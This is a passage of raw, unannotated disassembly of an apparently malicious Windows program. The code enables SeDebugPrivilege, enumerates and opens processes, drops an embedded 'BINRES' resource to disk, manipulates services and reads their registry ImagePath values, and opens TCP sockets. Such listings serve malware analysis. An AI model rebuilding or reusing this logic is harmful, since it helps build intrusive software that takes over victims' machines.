sub_41FB90 proc near ; CODE XREF: sub_401AD2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FBCB dec eax jz short loc_41FBB4 dec eax jnz short loc_41FBF1 mov ecx, dword_50DB38 mov dword_50DB1C, 4 call sub_401DE3 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBB4: ; CODE XREF: sub_41FB90+8j mov ecx, dword_50DB38 mov dword_50DB1C, 7 call sub_401028 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBCB: ; CODE XREF: sub_41FB90+5j mov ecx, dword_50DB38 xor eax, eax mov dword_50DB24, eax mov dword_50DB1C, 1 mov dword_50DB2C, eax mov dword_50DB30, eax call sub_40174E loc_41FBF1: ; CODE XREF: sub_41FB90+Bj ; sub_41FB90+22j ... mov eax, dword_50DB3C push offset dword_50DB18 push eax mov dword_50DB1C, 4 nop call near ptr 29207B2h retn 4 sub_41FB90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC30: ; CODE XREF: ___:loc_401965j push esi xor esi, esi push offset sub_401AD2 mov ecx, offset byte_44991F mov dword_50DB18, 20h mov dword_50DB1C, 2 mov dword_50DB20, 3 mov dword_50DB24, esi mov dword_50DB28, esi mov dword_50DB2C, esi mov dword_50DB30, esi call sub_4017EE push eax call near ptr 2920487h nop cmp eax, esi mov dword_50DB3C, eax jz short loc_41FCAA push offset dword_50DB18 push eax mov dword_50DB1C, 4 mov dword_50DB2C, esi mov dword_50DB30, esi nop call near ptr 29207B2h loc_41FCAA: ; CODE XREF: ___:0041FC86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FCD0 proc near ; CODE XREF: sub_401069j push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_41FCD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD00 proc near ; CODE XREF: sub_401CF3j var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50DB38, ecx push 100h mov ecx, offset byte_44991F call sub_4017EE push eax lea eax, [esp+118h+var_100] push eax call near ptr 77C47A90h nop add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call near ptr 2920000h nop xor eax, eax add esp, 110h retn sub_41FD00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FD80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FDA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: ___:0041FD9Aj mov ecx, [esp+18h] push ecx nop call near ptr 28A1D9Dh mov esi, eax test esi, esi jnz short loc_41FDB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDB9: ; CODE XREF: ___:0041FDB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 27A0412h mov edi, eax test edi, edi jnz short loc_41FDDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FDDC: ; CODE XREF: ___:0041FDD4j push ebp push edi push esi nop call near ptr 27A0A45h push edi push esi mov ebp, eax nop call near ptr 27B0000h push ebp mov esi, eax nop call near ptr 27B0471h push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41FE78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FE71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FE71: ; CODE XREF: sub_41FE50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FE78: ; CODE XREF: sub_41FE50+Fj pop esi retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FEAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEAE: ; CODE XREF: sub_41FE90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_41FF0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF0A: ; CODE XREF: sub_41FE90+69j mov eax, esi pop esi add esp, 10h retn sub_41FE90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FF6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FF6E: ; CODE XREF: sub_41FF50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FFC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FFC0: ; CODE XREF: sub_41FF50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FF50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420024 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_420027 loc_420024: ; CODE XREF: sub_41FFF0+14j or eax, 0FFFFFFFFh loc_420027: ; CODE XREF: sub_41FFF0+32j pop esi add esp, 10h retn sub_41FFF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420040 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_420076 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_420076 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_420079 loc_420076: ; CODE XREF: sub_420040+8j ; sub_420040+1Aj or eax, 0FFFFFFFFh loc_420079: ; CODE XREF: sub_420040+34j pop edi pop esi retn sub_420040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_420090 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4200C3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_4200C3: ; CODE XREF: sub_420090+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42018D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_4200E5: ; CODE XREF: sub_420090+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420177 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420170 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h dd 500D75C0h, 115E856h, 0C6900238h, 1132444h ; --------------------------------------------------------------------------- loc_420170: ; CODE XREF: sub_420090+A2j push esi nop call near ptr 28507E8h loc_420177: ; CODE XREF: sub_420090+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_4200E5 pop edi pop esi pop ebp pop ebx loc_42018D: ; CODE XREF: sub_420090+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_420090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4201F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42036A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h nop call near ptr 2960000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 2910000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] call near ptr 76081F67h nop mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444AE4 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23D0913h, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F149h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42036A: ; CODE XREF: sub_4201F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4201F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420400 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 293089Dh nop mov ebx, eax test ebx, ebx jnz short loc_420425 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420425: ; CODE XREF: sub_420400+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 28D0000h mov esi, eax test esi, esi jnz short loc_420450 push ebx call near ptr 2940000h nop pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420450: ; CODE XREF: sub_420400+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420400 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 27A01E8h push eax nop call near ptr 28F1594h mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420520 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 27A0232h push eax nop call near ptr 28F1BCDh test eax, eax jz short loc_42057F loc_420520: ; CODE XREF: sub_4204D0+36j cmp [esp+38h+var_28], esi jz short loc_420583 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 2900000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420578 nop call near ptr 27D089Eh cmp eax, 514h jnz short loc_420583 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42057D ; --------------------------------------------------------------------------- loc_420578: ; CODE XREF: sub_4204D0+92j mov edx, [esp+38h+var_28] push edx loc_42057D: ; CODE XREF: sub_4204D0+A6j call edi loc_42057F: ; CODE XREF: sub_4204D0+4Ej mov [esp+38h+var_28], esi loc_420583: ; CODE XREF: sub_4204D0+54j ; sub_4204D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2710000h mov esi, eax test esi, esi jz short loc_4205A8 push 0 push esi nop call near ptr 27A027Fh push esi mov bl, 1 call edi loc_4205A8: ; CODE XREF: sub_4204D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4205C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4205C7: ; CODE XREF: sub_4204D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4204D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420630 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420630 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 28A1D9Dh test eax, eax mov dword_50DB40, eax jnz short loc_42067C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27F08C8h test eax, eax mov dword_50DB40, eax jz loc_4207FA loc_42067C: ; CODE XREF: sub_420630+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB44, eax mov eax, dword_50DB40 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB40 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB48, eax call esi mov ecx, dword_50DB44 mov dword_50DB4C, eax test ecx, ecx jz loc_4207FA mov edx, dword_50DB48 test edx, edx jz loc_4207FA test eax, eax jz loc_4207FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4207FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4207E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42073F: ; CODE XREF: sub_420630+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4207CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB48 test eax, eax jz short loc_4207C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB4C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4207C6: ; CODE XREF: sub_420630+136j push esi call near ptr 28507E8h nop loc_4207CD: ; CODE XREF: sub_420630+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42073F pop ebp pop ebx loc_4207E1: ; CODE XREF: sub_420630+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420630+46j ; sub_420630+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4208A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4208C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4208C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4208E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 293089Dh mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42092F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42092F: ; CODE XREF: sub_4208E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44531C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_445304 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420C8F mov ebp, dword_511764 loc_420B6B: ; CODE XREF: sub_4208E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420B97 lea esi, [esp+524h+var_4E0] loc_420B78: ; CODE XREF: sub_4208E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420C73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420B78 loc_420B97: ; CODE XREF: sub_4208E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420BE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420BE3: ; CODE XREF: sub_4208E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 2910000h cmp eax, ebx jz short loc_420C1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420C3A ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_4208E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420C3A: ; CODE XREF: sub_4208E0+301j ; sub_4208E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420C73: ; CODE XREF: 